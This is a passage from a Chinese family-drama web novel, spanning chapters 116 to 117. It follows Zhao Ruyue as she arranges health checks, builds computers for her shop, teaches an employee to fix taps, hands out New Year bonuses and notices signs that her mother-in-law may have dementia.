赵如月跟他们说,要带他们去市里两天,他们还以为是自己考得好拿了奖,爸爸妈妈要带他们去玩,奖励他们。 结果到了市里,奖励没有,反而要扎针,两个孩子都懵了。 以前声称自己是哥哥,不怕打针不怕吃药的宁时秋,看到护士手上的针,像个树袋熊一样挂在他爸身上,扒都扒不下来,周围人看到都笑得不行。 折腾好一会儿,还是赵如月骗他说:“你看那是不是你同学?” 宁时秋怕被同学看到丢脸,才立马蹦下来了,结果一看,被骗了,回过神来,人已经被压在椅子上,手指也消毒好了。 而宁时夏一进医院就钻进了妈妈怀里,结果被紧紧抱着,想跑都跑不掉。 一家四口空腹抽了血,赵如月和宁绍明才带着两个眼泪汪汪的孩子出去吃早餐。 好在现在做全面体检的人不多,他们把所有体检项目做完,也就花了一上午的时间。 下午就带着两个孩子去玩,中途路过电器城,赵如月想着自己要买的配件,有些店里可能没有,老板需要去别的地方或者找同行调货,就提前进去找了一家感觉还不错的卖电脑配件的店,把自己列出来的配件清单交给老板。 老板看了之后,果然说有几样自己得找找,可能明天才能帮她配齐。 赵如月就先交了订金,然后继续带着孩子去玩。 刚好有些体检结果当天下午能出,有些第二天才能出,他们晚上就住在酒店。 宁时秋和宁时夏还没有晚上在市里玩过,看着街上那些霓虹灯,感觉特别新奇,甚至回了酒店也趴在窗户边上往下看。 姚据知道他们这两天会去市里,也跟着跑到了市里来,还邀请他们去自己一家住。 可惜赵如月和宁绍明不同意,姚据在市里的家,也只有他一个人住,但是他们也不能贸然上门,还是提前订了酒店住。 不过宁时秋和宁时夏体检完后,就给姚据打了电话。 姚据到医院门口跟他们汇合后就一直带着他们在市里玩。 他带他们去玩的一些地方、吃的一些店铺,连赵如月都不知道,这一趟可着实玩了个尽兴。 第二天起床后,一家四口先去医院,拿检查结果。 赵如月拿到检查结果后,自己的都不看,直接先看宁绍明的。 然后指着几个检查项目的结果问医生:“医生,请问这几项是不是说明我老公中风的风险比较高?” 医生看了看点头说:“没错,不过也不用太担心,以后只要多注意保持良好的生活习惯,定期体检,还有……” 医生说了许多平时需要多注意的事项。 赵如月认真地一一记下,然后才问起两个孩子和自己的检查结果。 第116章 从市里回去后,赵如月每天盯着宁绍明,让他遵守医生的医嘱。 宁绍明起初还不太喜欢,毕竟有些医嘱跟他平时的生活习惯不太一样,生活习惯乍然改变,总觉得哪哪都别扭。 可这又是媳妇儿对自己的关心,这样的关心让他心里挺美的,矛盾之下,还是更倾向于享受媳妇儿对自己的关心和关注,慢慢地就习惯了。 赵如月和两个孩子都没有什么大问题,只是两个孩子有些牙齿窝沟比较深,容易蛀牙,医生让他们有条件的话,最好带孩子去做窝沟封闭。 两个孩子年纪都刚好合适,赵如月当天就在医院给孩子挂了牙科,下午做好了窝沟封闭才回家。 自己买电脑,比买整机便宜一半,她这次就买了两台电脑的配件。 回去给自己安排了一个一整天都空闲的时间,按照网上的教程,琢磨着装机。 这天从早上吃过早饭,赵如月就开始动手。 装第一台的时候还磕磕绊绊的,花了三个多小时,午饭时间都过了才装好,好在装好后没出什么问题。 装第二台的时候有了装第一台的经验,速度就快多了,把电脑组装好,又装好系统。 她还赶上了去接孩子放学,前段时间太忙,有一段时间没能去接孩子放学。 这次她去接,两个孩子还挺高兴的,一人牵着她一边手,一路蹦蹦跳跳地回家。 路上看到同学和老师还特地跟人家打招呼,就等着人家问:“今天你们妈妈来接你们放学呀?” 然后大声地回答:“是的,今天我妈妈不忙啦!” 现在主要还是电话拨号上网,家里虽然已经有电话线,可用这根线上网的话,别人的电话就打不进来。 赵如月又去申请了一条分线,买个调制解调器,再申请一个账号,拿到自己的用户名和密码后,终于能上网了。 县城那边比较好一点,虽然主要还是拨号上网比较多,但也可以申请宽带了。 赵如月就在县城这边申请了宽带。 两台电脑,一台放在家里,平时除了她用,就是宁时秋用得比较多,他有很多不认识的专业词汇,可算能有地方查询了。 宁绍明偶尔也会上网看帖子,还有跟他在网上交到的热爱烘焙的同行,聊聊相关的话题。 他自己也会在论坛发帖子,问自己不太懂的问题,或者发一些自己的烘焙心得和教程。 宁时夏还小,不知道电脑有多好玩,平时只偶尔用Q.Q跟姚据聊聊天,或者让大人放一些电视上看不到、家里又没买碟片的动画片给她看。 另一台电脑搬到县城的店里后,赵如月没有着急马上开始做自己的附加小生意。 而是把现在流行的歌曲、电视、电影、动漫、全都下载到自己买的几个大容量U盘里。 每种占用一个U盘,现在网速慢,有些音乐下载后格式不对,还得转码,有些视频在视频网站上没有资源,她还得自己去找,各种解码、转码,下载起来还挺费时间。 不过磨刀不误砍柴工,趁还在下载的时候,赵如月正好教苏胜楠怎么用电脑。 等这些都下载好,她也教会了苏胜楠怎么用电脑,怎么帮别人把音乐或者视频下载到MP3和MP4里。 一股脑地提前下载到U盘里,虽然花的时间多了点,但是等到给客人下载到设备上的时候,从U盘复制到设备上,就比临时去搜索,再用网络直接下载客人的设备上更快了,可以节省不少时间。 赵如月盯着这个几乎算是无本的买卖许久,这次终于能挣到这份钱,心里高兴,还给苏胜楠发了个福利。 “这是面包店那边刚做出来的面包卡,可以免费订一个八寸的蛋糕,还有一百块钱的无门槛面包代金券,一年内用完就行。” 这个面包卡,本来是县城有个事业单位在面包店给员工定的元旦节日福利卡。 宁绍明做的时候多做了一些,赵如月就要了几张。 给自己娘家两张,给堂妹赵如玉两张,给她大姐家一张。 她娘家人在她和宁绍明开店的这将近一年的时间里,来帮过不少忙,现在镇上那边哪怕主要是宁时春和孙佳佳在管,娘家的孩子还是一有空就去帮忙。 她大姐虽然在面对她时还有点别扭,但后来也委婉地为春节时那事道过歉了,而且大姐的两个女儿也经常去她点里帮忙干活,所以也给了她家一张。 至于婆家这边,全看宁绍明自己给不给了,反正她是不管的。 而宁时春和四家店的其他员工,在元旦那天,也会每个人发一张这个卡。 到时候赵如月也会再给苏胜楠一张,苏胜楠平时挺喜欢吃面包,但她爸还病着,她平时也是省吃俭用,只有发工资的那天,才会买几个便宜的面包,带回家去跟家里人一起吃。 拿到这张卡,苏胜楠既意外又惊喜,当天就买了一些以前很想吃,但没舍得买的面包回去,跟家里人一起吃。 她没在县城租房子,大城市的房东在租房这方面已经很熟悉了,他们建的房子,很多单间也都专门做有独立卫生间和厨房,哪怕是厨房和卫生间靠得很近,那也是有的。 但县城的租房市场不如大城市,单间很少。 而且多数单间就是普通民房的一个房间,每一层有好几个房间,但是只有一个卫生间,没有厨房,女孩子租这样的房子很不方便。 想租有独立卫生间和厨房的单间,就得租小区房,但是这样的房子少不说,价格还贵,至少得三百多往上。 苏胜楠要是在县城租房子,想便宜就得租那种没有独卫的房间,那样的一个单间房租也要两百多。 赵如月这里不像隔壁餐饮店包三餐,她这里只包中午一餐。 苏胜楠租房的话,要是自己做饭,就得添置一些简单的家具和电器,每个月伙食费和水电费也是一笔钱,还不如每天回家吃住。 她和另外两个店的女孩子一起,跟郑秀商量好了包月的车费。 原本坐一次面包车车费是五块钱,来回就是十块,但是每个月的车费可以给优惠,再扣掉四天休息时间不用坐车,一个月的车费只要两百四,相当于给她们优惠了两三天的车钱。 其实办公交车月卡更省钱,但是镇上公交车太慢,还不太准时,而且只运营到晚上七点多。 有时候甚至是六点多就没车了,可她们得上班到晚上八九点。 现在苏胜楠每天早晚两顿在家吃,就比较省钱,也能照顾家里。 这天她带面包回家,刚坐下,她奶奶就说:“胜楠,家里这个水龙头漏水越来越严重了,你等会儿去问问你堂叔,能不能过来帮忙修一下,去的时候别空着手,带两个面包去。” 苏胜楠有些不乐意,她家跟堂叔家关系不太好,因为她爸只有一个女儿,堂叔家有儿子,就觉得她家的东西,以后还是得传给他儿子。 哪怕他跟她爸只是堂兄弟,但他们这一辈只有他和他爸两个男的,他就觉得祖辈传下来的地和房子,以后就得给他家男丁。 以前还只是暗戳戳的,没那么明显,自从她爸妈年纪越来越大,还是不生二胎,特别是她爸病了之后,眼看着他以后肯定没儿子了,堂叔一家说话就比以前更肆无忌惮。 虽然他们还没做什么,但是总说那样的话,也让人觉得很膈应。 苏胜楠低着头,没应奶奶的话。 她奶奶又催了两句,苏胜楠突然想起,自己在店里看到过老板修水龙头,看起来好像不难,不知道能不能跟老板学一学? 如果自己学会了,以后就不用去求别人帮忙了。 不等奶奶再催,苏胜楠说道:“别催了,我会修,用不着去找别人。” “你会?”她奶奶眼神带着不相信,“以前怎么没见你修过?” “因为我以前不会啊,现在我上班了,学会了很多东西。”苏胜楠还不会,但是管他的,先把老人搪塞过去再说。 她今天好不容易得了奖励,给家里人带回来以前不舍得吃的面包,就是不想给堂叔家送去。 “你昨天没提前说,要不我把新水龙头和材料买回来,现在直接就能修好。” 她奶奶看她那么笃定的样子,也不说让她去找人家帮忙了:“那你明天买新的回来修吧,修不好再去找你堂叔。” “好。”吃过晚饭,苏胜楠急忙跑去老板家,找老板救急。 赵如月这会儿也吃饱饭了,正打算出去遛弯消消食,看到苏胜楠火急火燎地跑来,还以为出了什么事。 听完她来找自己的原因,有些哭笑不得:“我以为是什么难事,就这个啊,你跟我来,我现在就能教你,等着我去拿工具。” 赵如家的工具很齐全,但是修个水龙头而已,用不着把工具箱搬出来。 她只拿了一个扳手、一个螺丝刀和一卷生料带。 “先教你个简单,但比较费钱的。”说是比较费钱,其实花不了多少钱,就是把水龙头拆下来,买一个新的水龙头和一卷生料带重新装好。 之所以说比较费钱,是因为买水龙头和生料带要花的钱,比只换阀芯更多。 “先掉总水阀,然后逆时针把水龙头拧下来,拧不动就用扳手先拧松,其实一般的水龙头,正常人都拧得动的。” 苏胜楠点头,心想就是这样,上次老板换水龙头也是,果然很简单。 但是装新的水龙头和缠生料带就有一点小技巧了。 “把旧的拆下来后,先别缠生料带,要把新水龙头插直接到接口上,这样正着插。” 苏胜楠问:“这样是先试一下,然后预估要缠多少生料带吗?” “不是,是要提前数圈。” “数圈?” “对,”赵如月开始把新的水龙头往接口拧,“顺时针,边往接口里拧紧,边数水龙头一共转了几圈,像现在转了五圈,到第六圈的一半,卡住,转不到正位了。 这就说明,等我们缠上生料带之后,拧五圈就可以停下,要不然拧到第六圈,这水龙头就没法拧正了。” 苏胜楠恍然大悟:“原来要这样,怪不得我看有些人家的水龙头是歪的。” 其实说的就是她自己家的水龙头。 她家这个水龙头也是之前花了半斤五花肉,请她堂叔过来帮忙换的。 结果装歪了,水龙头的出水口没有正正朝下,而是往右边撇。 看来她堂叔也不是很会嘛。 赵如月又教了苏胜楠怎么缠生料带,把水龙头装回去后,又拆了让她试一试。 苏胜楠带着点小激动,上手尝试。 然而那些步骤看着简单,实际操作的时候还是会出现一点小偏差。 比如缠生料带,那生料带在她老板手上就很听话,在她手上就总是感觉不管是左手抓还是右手抓都有点别扭,而且缠的时候不注意,它还会绕成一个细条,得重新绕开才行。 不过这也只是因为不熟练造成的小麻烦,影响不大,她最终还是成功把水龙头装上了。 赵如月接着又教她,更省钱的修理方法:“有些水龙头不需要全都换,只需要换阀芯或者胶圈,这些就很便宜,像阀芯生锈不能再用,或者里面的陶瓷片碎了,就得换阀芯,胶圈坏了就换胶圈,还有一些只是固定阀芯的螺丝或者阀芯本身松了,把上面的塑料装饰盖撬开,用螺丝刀拧一下就行。” 她边说着边给苏胜楠演示,怎么撬开盖子上的装饰片,螺丝和阀芯要怎么拧。 这些比换水龙头更简单,就只让苏胜楠看看,没让她上手去试。 接着还跟她说如果是水管出问题,又该怎么办,以及买一节水管、一个阀芯、一小包垫片大概多少钱。 苏胜楠听了之后,才知道,原来这些平时看起来跟女孩子不搭边的、好像很难的东西,根本没有那么神秘,价格也一点都不贵。 很多人看到家里的水管坏了就像天塌了一样,实际上现在遮上的水管都是走明管,连撬地板都不用,直接关总阀,换上一个并不贵的新管子就能继续用。 苏胜楠跟赵如月道谢后,跑回家先观察一下自己家的水龙头。 不过她经验不足,没看出到底要不要换整个。 刚好想到自己家扳手和螺丝刀都有,干脆就先关了水阀,把顶盖的装饰片撬开,打算先把里面的螺丝和阀芯拧一下看有没有用。 要是没用的话,再去五金店买个水龙头和生料带,换上新的水龙头,也来得及。 反正镇上五金店的老板就是本地人,他家前面是店,后面和楼上住人,只要他们一家子还有人没睡,晚上去买都行,她以前有一次很晚去买灯泡也能买到。 她奶奶看到她在捣鼓水龙头,还有点担心:“我以前怎么没见你堂叔这么做过?你可别把水管也一起搞坏了。” “不用担心,没那么容易坏。”苏胜楠先把螺丝拧下来,再去把阀芯拧紧,螺丝刀放到阀芯上拧的时候,她突然就有一种感觉,应该就是阀芯松了,水龙头才会关到尽头还漏水。 等她拧紧后,再去打开总水阀:“奶奶,我已经把水阀打开了,你试试看水龙头能不能用。” 水龙头那边传来她奶奶惊喜的声音:“诶!还真的不漏水了!哎呀,这开关都正常,真修好了呀!” 苏胜楠看着奶奶惊喜的神色,心里充满了成就感:“我就说我会嘛。” “真好,以后再也不用去找别人帮忙了。” 苏胜楠:“我跟你说,我还会换灯泡、修窗户呢!” 赵如月还以为她学修水龙头,只是为了以后家里水龙头坏了知道怎么修。 没想到苏胜楠就这么一发不可收拾,第二天就来问她,夜校班学费是多少钱,看样子是想多系统地多学一些。 只是听到价格后,苏胜楠沉默了,如果她爸没生病,她的工资能自己攒下来的话,攒个一两年就能攒够学费。 可她家的情况不允许。 赵如月看她有些消沉,心里也不落忍,就说:“要不你直接跟我学?” 苏胜楠眼睛一亮:“可我没什么能报答的……” 她跟老板闲聊的时候聊到店里的装修,听老板说过,当初装修时的事。 那两个来装修的师傅,为了跟她学手艺,愿意不收这一单的钱。 轮到她这里,问题又回来了,如果她家里的条件好一点的话,也可以不要工资,用自己的劳动换学习技术的机会。 可她不行,她家里即使现在有她和她妈妈赚钱,依旧不那么宽裕。 但是苏胜楠又不想放弃这个机会,她说完想了想。 不等赵如月开口,又说道:“老板,你看这样行吗?我跟你学的手艺,以后接一个活就给你一半的工钱。” 赵如月本来只是觉得这个姑娘不容易,难得在困境中没有想过走捷径,也没有一味地消沉,想顺手帮一把,没想过报酬的事。 但升米恩斗米仇这话,赵如月也知道。 既然苏胜楠愿意付出一些东西来换,哪怕是以后的承诺,也很让赵如月欣慰。 她没有拒绝:“好,那你跟我学多久,以后出师能接活后,就给我分多久工钱。” 赵如月如果不是像宁时秋和宁丹萍一样,原样拆装一个钟表,把钟表装回去后,还多出几个零件的话。 用不了一年,顶多半年或者几个月,苏胜楠就能学得差不多了。 其实赵如月现在在夜校班也学得差不多了,如果她愿意的话,第二年不去都行,到时候只需要去参加一个毕业考试就可以。 但是赵如月觉得上夜校班的收获,不只是技术上的系统学习和提升,还有人脉上的扩展。 以前她没上夜校班的时候,认识的人要么是婆家的人和亲戚,要么是娘家的人和亲戚。 最多再加上镇上认识的街坊邻居,连小时候一起玩的人都见得少了。 因为很多小时候的玩伴都嫁到外地,哪怕是嫁到附近的村镇,或者县城、市里,在现在交通没那么便利的情况下,见面的机会也不多,而且各自都有自己的事要忙。 很多只有过年回娘家时,能见上一面,寒暄几句。 更别说远嫁的朋友了,可能往后一辈子都见不上多少次。 所以赵如月就还是打算去上课,现在夜校班也有人已经不去上课了,明天应该又会有新的同学来。 到时候哪怕不是同一个班的,也可以互相认识一下,毕竟都是学的同一个专业,有话题可以聊,想拉近距离很容易。 更别说她连其他同期但不同专业、不同班的人也认识了不少呢。 苏胜楠得到了这几个意料之外的学习机会,回家之后,跟家里人说起来,她父母和她奶奶都很高兴。 第二天苏胜楠扛了一小缸她奶奶腌的酸萝卜,还有一小罐酸菜来,送给赵如月。 “师傅,你可千万要收下,”自从赵如月答应教苏胜楠后,她就把称呼从老板改成了师傅,“我奶奶说家里没什么可以报答你的,只有这些她腌的酸萝卜酸菜,只是一点小小的心意,希望你能收下。” 要是送别的贵重的东西,赵如月倒是不好意思收,这些便宜的东西,她收起来就没什么负担了。 “帮我谢谢你奶奶,我挺喜欢吃这些的。” 赵如月没说客气话,她是真挺喜欢吃酸萝卜和酸菜,这些东西,看起来腌制的方法都差不多,但是就是每一家腌出来的味道都不一样。 有些人家腌的就好吃,有些人家腌的就是容易起白花。 赵如月收下后就直接去隔壁餐饮店,拿了干净的筷子和小碗,夹了几个酸萝卜和一点点酸菜出来吃。 苏胜楠她奶奶腌制的酸菜味道一般,但酸萝卜味道非常好。 赵如月吃得直竖大拇指,她还拿到隔壁去让宁绍明试吃。 宁绍明试了也觉得味道不错,他自己平时也会做一点小菜放在小料台,让客人自己拿。 有些客人甚至会因为一家店的小料好吃,而经常光顾。 但是做这些还挺麻烦,消耗也挺多,有时候忙起来就忘了做。 熟客来这里吃东西,吃习惯了,看到小料台上没有就会抱怨。 有时候小菜是丁勇做的,丁勇学厨的时间还短,做出来的东西,除了几乎每天都在练的煮米粉和炒米粉,别的味道都不是很稳定。 有时候做小菜有点翻车了,客人吃出来也会抱怨。 上次体检过后,赵如月就不让宁绍明做太多正常工作之外的活,小菜他也没什么时间做了。 餐饮店的小菜换成了丁勇和宁时春各自负责自己掌勺的店,又有客人开始抱怨了。 小料台上好几种小菜,如果有个味道比较稳定的话,客人的抱怨会比较少一点,因为至少有一个比较好吃,不会让人觉得店家不想让客人拿太多,才故意这样敷衍。 宁绍明仔细尝了尝,又认真观察过。 苏胜楠她奶奶用来做酸萝卜的那些萝卜,每个都不大,应该是那种河边沙地长的小白萝卜。 最大的只有两根手指粗,不到一个巴掌长,咬着很脆。 他观察完又拿一个萝卜啃,边吃边问:“你那个小徒弟家里的萝卜还有多的吗?” 赵如月也在啃,她根本停不下来:“没问,你想买?” 宁绍明说:“要是她家有比较多,或者可以稳定供应的话,可以买回来切成小萝卜丁,放在店里当免费的小菜,这样小勇和小春可以少做一样,买酸萝卜花不了多少钱,也不会增加多少成本,还能给他们省点事,现在他们也挺忙的。” 店里暂时不打算多招人,只能在别的地方给员工减少一些工作量了。 第117章 本来能跟老板学技术,苏胜楠已经够高兴的,没想到给老板送个谢礼,竟然还给自家送来了一个小生意。 赵如月赵苏胜楠说要买她家腌萝卜的时候,苏胜楠想着,既然老板和她家人都喜欢吃,干脆都送给她。 家里还有不少,这些腌萝卜,只有盐花了点钱,萝卜是自家地里种的,还特地选的长不大的小萝卜来腌,算起来根本没花什么钱。 自家留一小坛子,其他全送来,也不心疼。 可听到老板说这不是一锤子买卖,只要她家的腌萝卜,味道跟她现在送的差别不大,以后会一直跟她家买。 苏胜楠那些还没说出口的话,就再也说不出口了,因为她家是真缺钱。 她感觉自己快被接二连三的好事砸晕了。 回家一说,她奶奶也很高兴,张罗着明年多种点萝卜。 他们家有好几块地在河边,却不是好地,而是沙地,以前要么种萝卜,要么种西瓜。 种西瓜需要比较费心管理,种萝卜就好收拾多了。 这次打算全都种上萝卜,又听苏胜楠说:“我师傅说,这种小萝卜腌出来的酸萝卜最好吃。” 她奶奶种了一辈子地,稍微一琢磨就知道该怎么做自家能多种一季,多增加一些收入。 转眼又是一年,镇上很多出去打工的人,多数在过年前几天放假,回老家过年。 平日里车水马龙人流如织的大城市里,越是临近过年,城区越是空旷,店铺关门回家过年的也很多。 但县城和镇上的店铺,却是越临近过年,生意越好。 年前几天都是集日,镇上的集市和县城的商场、市场……到处挤满了买年货的人。 出门一趟,午饭当然不会回家再吃,有些人甚至早早出门,连早饭都在外面的店里解决。 宁绍明的两家餐饮店忙得脚不沾地,镇上幸亏有放假了的宁丹萍和赵如月娘家的几个孩子帮忙,宁时春和孙佳佳才不至于忙到,连上个厕所喝口水的时间都没有。 县城这边除了原先的服务员,同样放假的宁时秋和宁时夏也去帮忙了,只是县城的客人比镇上还多,镇上也就上午这段时间特别忙,到了下午集市散了就好点。 县城的店是从早上到晚上九点多都还有不少客人,宁绍明不得不招了两个临时工来帮忙洗碗,让原先洗碗的大婶也充当服务员招待客人。 面包店里,宁绍明这几天特地把平时做面包和蛋糕的量翻倍,每天依然卖得精光。 赵如月的电子专卖店更是生意红火,第二批MP3和MP4她进货的数量比上次翻了一番,可在过年前这几天也卖得差不多了。 一些比较受欢迎的样式卖完后,还是不断有客人来问。 但临近过年,工厂那边都放假了,也没法临时进货,只能推荐别的样式。 有些人买了MP3或者MP4后,听说她家下载音乐的速度特别快,也特别全,就又顺便在她店里下载音乐或者视频,店里的这台电脑忙到机箱都快冒烟。 幸好这电脑不是买的整机,而是她自己组装的,性能比较好,才没在重压之下罢工。 就这样赵如月也要两边跑,把一部分要下载音乐和视频的设备带回家,用家里的电脑下载好再送到县城,才勉强能支应得上客人的需求。 原本她还会接维修MP3和MP4的活,但年前光是卖东西和下载东西都忙得要命。 维修的活只能推到年后,要是谁等不到年后,就只能去找别人修了。 于是维修的话也攒了一大堆。 年前一直忙到大年三十才算完。 大年三十这一天,明明早上还忙得脚打后脑勺,一过大年三十的中午,拥挤的人群像是涨潮后又退去的潮水,十分迅速地消失了,各自退回家里,杀鸡宰鸭,准备年夜饭。 街上变得空荡荡的,只留下一地的垃圾。 赵如月和宁绍明关门前,把四家店的员工都聚在一起,给他们发准备好的年货分,有一部分是每个员工都能得的东西。 分别是一盒用礼盒装的各种比较耐放的面包,一盒店里做的桃酥礼盒、然后还有一桶油、一箱水果、一张面包店一百块钱面值的购物卡。 而丁勇和宁时春这两个掌勺的厨师,除了员工都有的年货,购物卡比员工多一张,还有三包干货,分别是一包干香菇、一包桂圆干、一包核桃。 另外还每个人还额外多发了一个月的工资,当做过节红包。 宁时春和孙佳佳不在县城,赵如月就把他们的提前留出来,跟自家买的年货放一起,等会儿回去的时候再带回去给他们。 店里的员工都没想到,过年还有这么多东西发。 丁勇喜滋滋地说:“听说我爸单位,连工资都拖欠,更别说今年的过年福利了,这次没准我带回去的东西是全家最多的。” “是呢是呢,”平时负责洗碗的婶子也抱着东西笑眯眯地说,“我之前听说,别家店都不发过年的东西。” 甚至有些店只是聚在一起吃了一顿饭,就算过节福利了。 这洗碗的婶子交际能力非常厉害,跟附近别家店的员工几乎都认识,所以别人那边但凡有点事,她很快就能还知道。 之前看别人家比他们放假快的都没发什么东西,她都没对过节福利抱有什么期待,毕竟是私人店铺,不发她也不觉得有什么,只要这份工作能一直做下去,她就很高兴了。 但是能有过节福利,当然是更高兴的。 昨天老板让人把那些过节福利送来的时候,店里的人还以为那些油这是老板买回来留着店里用的,水果、干货什么的,买那么多,是留老板自家过年走亲戚。 没想到是发给他们,高兴过后,又有个甜蜜的烦恼。 “这么多东西,可怎么带回家?” 赵如月道:“这还不简单,我跟郑师傅说好了,分两批回镇上,把你们送到家门口,车费我们也包了。” “老板大气!” “老板也太好了!” “明年我一定更勤快努力干活!” 一群人七嘴八舌嘻嘻哈哈地说好话,把赵如月逗笑了:“别贫了,郑师傅的车已经在门口等着,谁先回去,你们自己商量好。” 员工们又赶紧商量谁先回去,分好了人,第一批送到之后,郑秀又来接第二批。 赵如月和宁绍明各自检查好店里的水电、门窗,锁上店门,带着中午闲下来后,才临时抓紧时间跑去买的年货,坐上郑秀的车,长舒一口气:“可算忙完了。” “是啊,这几天累得我每天回家倒头就睡,有时候还没法睡整觉,很多长途车半夜才到服务区,跟别人约好去接,睡到一半又得爬起来去接人,”坐在驾驶座上的郑秀也感慨,“去年我都不敢想,今年是这么过来的,往年这个时间,我已经在家杀好鸡了。” 郑秀过年前这几天也忙得很,在县城和镇上来来回回地接送客人,以往还要等一段时间车子才能做满。 这几天,车子只要往客运站那边一停,要不了几分钟,车上的位置就坐满超员了。 人是一车一车地来回拉,除了凌晨去服务区或者县城客运站接打工坐长途车回来的人,很多时候来回都不会空车。 毕竟有人回镇上,也有人从镇上去县城玩,平时去县城的都没那么多,一到过年,很多人都想带家里孩子去县城逛逛,买点年货或者给孩子买新衣服。 今天这是她的最后一车,只有赵如月一家四口和他们家的年货。 “不过忙也是值得的,年前这段时间,挣的比平时一两个月挣的钱还多。”想到这段时间挣的钱,郑秀又觉得不累了。 到了家,宁时春和孙佳佳正在店里打扫卫生。 镇上的人散得比县城还要快,店里早就没客人了。 不过赵如月提前打电话回来,让宁时春和孙佳佳都先别回家。 他们俩忙了那么长时间,突然闲下来,还挺不习惯,干脆帮忙把门面和厨房里里外外全打扫了一遍。 年前要大扫除,但因为前面的店铺还要招待客人,赵如月和宁绍明就只先打扫了后面住的地方。 本来想着今天回来再打扫店铺,没想到回来的时候,他们俩已经打扫得差不多了。 赵如月从车上下来,看着正在装垃圾的宁时春和正在归置扫把簸箕的孙佳佳说:“好不容易没客人了,你们怎么不多休息一下?” 宁时春憨厚地笑了笑:“闲下来反而浑身不自在,刚好有空顺手就做了。” “别收拾了,过来把车上的东西搬下来,留着我们自己收拾就行。” 两人听了忙放下手上的活过去帮忙搬东西。 东西搬下来后,赵如月就给他们俩分。 宁时春也没提前知道还发过年福利这事,收到的时候人都是懵的:“是让我带回去给爷爷奶奶吗?” “不是给他们的,给他们的是另外的东西,到时候你三叔自己拿去给他们,这些都是你的员工福利,佳佳也有,等会儿你帮佳佳送到她家去。” 孙佳佳看到这么多东西,心里想的是,如果自己已经跟宁时春结婚就好了,那样他们的小家就能有两份福利,现在这些东西送到她家,有多少能进自己嘴里? 可她不带回去也不行,县城的员工应该也有这些东西,她爸妈肯定会知道的,要是不带回去,他爸和她奶奶还不知道说什么难听的话。 孙佳佳只能收下,然后跟赵如月和宁绍明道谢。 不过收下东西之后,孙佳佳私下跟宁时春说:“我爸妈不知道我在店里干活算正式员工,还拿工资,这些东西就算是你今年给我家送的年礼,你可别再送别的去了,知道了吗?” “这样真的可以吗?” “怎么不可以?听我的!要不然你买别的东西送去又得花钱,彩礼得攒到什么时候?如果我家里不要那么多彩礼,我们也不用这样。” 孙佳佳没跟宁时春说,其实在她家里人以及很多人眼里,她现在就是倒贴宁时春的免费劳动力,所以是不能拿到过节福利的。 但是自己的日子到底好不好,只有她自己知道,只要她能确定宁时春自己不是这么想的就好。 宁时春想到彩礼的金额,就听了孙佳佳的,没再另外买东西。 他今年才攒了六千块钱,要是按照这个攒钱的速度算,还要四年他们才能结婚。 三叔把镇上的店彻底交给他来管后,又给他涨了点工资,如果工资能全攒下来的话,再要两年多就攒够彩礼钱了。 不过在店里干了一年的活,后面几个月又自己管着一家店,宁时春想着自己应该也锻炼出开一家店的能力了。 他计划着,明年再在三叔店里做半年,然后提前跟三叔说一声,再招个人来镇上掌勺。 他带几个月,然后边干活边找门面,争取下半年找到门面,把门面收拾好,后年就自己开店去。 宁绍明这会儿还不知道他的想法,把东西给他们分好,就带着送给父母的东西,一只鸡、五斤猪肉、一箱水果、一箱面包、一箱牛奶,往老宅那边走了一趟。 今年不在一起过节了,所以这些东西得送到父母那边,按照他们本地的规矩,如果不提前商量好的话,今年父母要跟着老大家过节。 明年是老二家,后年才是他家。 王海燕正在家收拾宁时春带回来的过节福利,儿子第一年工作过年就带回来这么多东西,她脸上笑得皱成一朵菊花似的。 忍不住畅享等女儿初中毕业,也参加工作后,家里过年时,东西不得堆满整个小房间? 她收拾好后,准备出门跟街坊邻居显摆一把,再继续做年夜饭,走到门口看到宁绍明和赵如月提着东西往自家这边走。 走近后宁绍明说了一句:“大嫂,这是给爸妈过年买的东西,你收进去吧。” 王海燕这才想起今年公公婆婆要在自己家过年。 她眼睛都快笑成一条线了,忙接过东西问:“今年你们要过来一起过年吗?” 其实这个事早该商量,可没人起头,原本老大不在,该是老二担起来的,可老二躲事,连这个事都躲了。 而且老二一家,大年三十直接没回老家,听他爸说,连个电话都没打回来问候一下,更别说送年礼。 宁绍明干脆默认大家都决定不商量,按照老规矩各家各过各的。 听到王海燕的话,宁绍明睁着眼睛说瞎话,答道:“不了,我们家里饭都快做好了,回去拜一拜神,很快就能开饭。” 他说完就要回家,结果刚转身,就被人兜头拍了后脑勺一巴掌,他转头看过去,一根竹条迎面打来。 得亏宁绍明和赵如月反应都快,迅速躲开才没被打到。 宁绍明抢下黄秀华手上的竹条,黑着脸问:“妈,你为什么要打我?” 来送年礼还送出错来了? “你还敢问为什么?说好的今年一起过年,你现在要去哪里?带东西回来也不给我和你爸,倒是送给隔壁,你个不孝子,我打你还算轻的!” 宁绍明目瞪口呆:“什么时候说好的今年一起过年?我怎么不知道?你跟谁商量了?” “不就是跟你们三个不孝子商量了!老二在县城有要忙工作就算了,你打工回来也不回家,你想去哪里!还有你大哥,成天不见人影,也不知道跑跟谁跑到哪里鬼混去了!” 赵如月听着觉得不对劲,赶紧趁着黄秀华没注意到自己,跑去找公公。 宁达这会儿正在后院收拾鸡毛,鸡毛晒干后过完年会有人来收,能卖一点钱。 “爸,你别收拾这个了,快出去看看,妈疯了!” 宁达不明所以:“什么疯了?她又跑去你们店里捣乱?不是说今天只开店半天?这个点应该不开店了吧。” 赵如月把刚才黄秀华在外面干的事,还有说的话复述给他听,宁达一听,也懵了。 “今年没跟谁说好一起过年啊……”宁达赶紧把手洗干净跑到门口。 黄秀华站在门口,一手叉着腰,一手指着宁绍明臭骂。 宁达出去,她还拉着宁达让他收拾儿子:“这小子小小年纪不学好,你今天不收拾他一顿,以后他没准要蹲监狱吃牢饭!” 宁达恨不得捂住她的嘴:“你瞎说什么呢!老三从小就没学坏过!” “这是老三?” “是啊!” “不对,这不是老大吗?” “你傻了,还是睁眼瞎了?这是老三!” 黄秀华盯着宁绍明看半天,一脸恍然初醒的样子:“对对对,这是老三,我怎么就认错了……” “你老糊涂了呗!” 赵如月走到王海燕身边问她:“大嫂,你平时有没有注意到,她这个情况?” 王海燕仔细想了想:“我平时一个人忙地里的活,没多少闲着的时候,还真没注意,她这是……老年痴呆了?” “不好说,我们也不是医生,不知道怎么判断这个。”赵如月以为婆婆是在自己家小秋上五年级还是六年级的时候,因为发烧没及时送去医院,中风后才得了老年痴呆,原来竟然不是吗? 她上辈子的这几年跟宁绍明在外面打工,真不太了解家里发生的事。 有时候打电话回来,听家里人说婆婆说话颠三倒四,还以为他们只是吐槽她上了年纪,说话没逻辑。 后来就得到消息,说婆婆在一次发烧生病后就不能自理了。 